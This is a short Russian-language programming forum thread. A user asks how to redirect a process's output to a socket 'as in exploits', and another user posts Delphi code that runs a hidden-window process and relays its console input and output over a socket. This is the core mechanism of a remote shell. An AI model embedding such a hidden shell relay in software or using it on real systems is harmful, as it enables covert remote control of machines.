Вывод в сокет

Тема в разделе "WASM.NETWORKS", создана пользователем set, 28 авг 2006.

  1. set

    set New Member

    Публикаций:
    0
    Регистрация:
    13 янв 2006
    Сообщения:
    27
    Как запустить процесс, чтобы весь свой вывод он отправлял в сокет? Именно это реализовано в эксплоитах и потому свой ответ я искал там. CreateProcess вызывается с множественными параметрами и так не получил ответа.
    Догадываюсь, что ответ в структуре StartupInfo.
     
  2. slow

    slow New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2004
    Сообщения:
    615
    вариант Aphexа

    Код (Text):
    1. procedure RelayProcessToSocket(Process: pchar; Socket1: TClientSocket);
    2. const
    3.   MAX_CHUNK: dword = 32767;
    4. var
    5.   Buffer: array [0..32767] of byte;
    6.   SecurityAttributes: SECURITY_ATTRIBUTES;
    7.   hiRead, hoRead, hiWrite, hoWrite: THandle;
    8.   StartupInfo: TSTARTUPINFO;
    9.   ProcessInfo: TProcessInformation;
    10.   BytesAvailable, BytesRead, BytesWritten, ExitCode, PipeMode: dword;
    11.   Nonblocking: longint;
    12. begin
    13.   SecurityAttributes.nLength := SizeOf(SECURITY_ATTRIBUTES);
    14.   SecurityAttributes.lpSecurityDescriptor := nil;
    15.   SecurityAttributes.bInheritHandle := True;
    16.   CreatePipe(hiRead, hiWrite, @SecurityAttributes, 0);
    17.   CreatePipe(hoRead, hoWrite, @SecurityAttributes, 0);
    18.   GetStartupInfo(StartupInfo);
    19.   StartupInfo.hStdOutput := hoWrite;
    20.   StartupInfo.hStdError := hoWrite;
    21.   StartupInfo.hStdInput := hiRead;
    22.   StartupInfo.dwFlags := STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
    23.   StartupInfo.wShowWindow := SW_HIDE;
    24.   CreateProcess(nil, Process, nil, nil, True, CREATE_NEW_CONSOLE, nil, nil, StartupInfo, ProcessInfo);
    25.   CloseHandle(hoWrite);
    26.   CloseHandle(hiRead);
    27.   Nonblocking := 1;
    28.   ioctlsocket(Socket1.Socket, FIONBIO, Nonblocking);
    29.   PipeMode := PIPE_NOWAIT;
    30.   SetNamedPipeHandleState(hoRead, PipeMode , nil, nil);
    31.   while Socket1.Connected do
    32.   begin
    33.     Sleep(5);
    34.     GetExitCodeProcess(ProcessInfo.hProcess, ExitCode);
    35.     if ExitCode <> STILL_ACTIVE then Break;
    36.     repeat
    37.       ReadFile(hoRead, Buffer, MAX_CHUNK, BytesRead, nil);
    38.       if BytesRead > 0 then
    39.       begin
    40.         while Socket1.SendBuffer(Buffer, BytesRead) = -1 do Sleep(1);
    41.       end;
    42.     until BytesRead < MAX_CHUNK;
    43.     Sleep(5);
    44.     BytesAvailable := Socket1.ReceiveBuffer(Buffer, MAX_CHUNK);
    45.     if BytesAvailable > 0 then
    46.     begin
    47.       Socket1.SendBuffer(Buffer, BytesAvailable);
    48.       WriteFile(hiWrite, Buffer, BytesAvailable, BytesWritten, nil);
    49.     end;
    50.   end;
    51.   GetExitCodeProcess(ProcessInfo.hProcess, ExitCode);
    52.   if ExitCode = STILL_ACTIVE then TerminateProcess(ProcessInfo.hProcess, 0);
    53.   CloseHandle(hoRead);
    54.   CloseHandle(hiWrite);
    55.   Nonblocking := 0;
    56.   ioctlsocket(Socket1.Socket, FIONBIO, Nonblocking);
    57. end;
     
  3. set

    set New Member

    Публикаций:
    0
    Регистрация:
    13 янв 2006
    Сообщения:
    27
    tnx. А без пайпов сть вариант?
     
  4. slow

    slow New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2004
    Сообщения:
    615
    я - не знаю.